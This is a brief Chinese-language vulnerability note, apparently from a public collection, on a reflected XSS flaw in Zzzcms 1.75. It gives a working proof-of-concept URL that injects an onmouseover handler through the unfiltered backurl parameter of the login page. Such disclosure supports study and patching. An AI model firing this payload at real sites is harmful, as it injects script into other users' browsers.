Zzzcms 1.75 xss漏洞.md

415 B / 2021-07-15 20:12:39

    Zzzcms 1.75 xss漏洞
===================

一、漏洞简介
------------

二、漏洞影响
------------

Zzzcms 1.75

三、复现过程
------------

    http://www.0-sec.org/plugins/template/login.php?backurl=1%20onmouseover%3dalert(9516)%20y%3d

该onmouseover事件在移动到登录注册时会触发

![](./resource/Zzzcms1.75xss漏洞/media/rId24.png)

对传入的backurl并没有做任何防护

image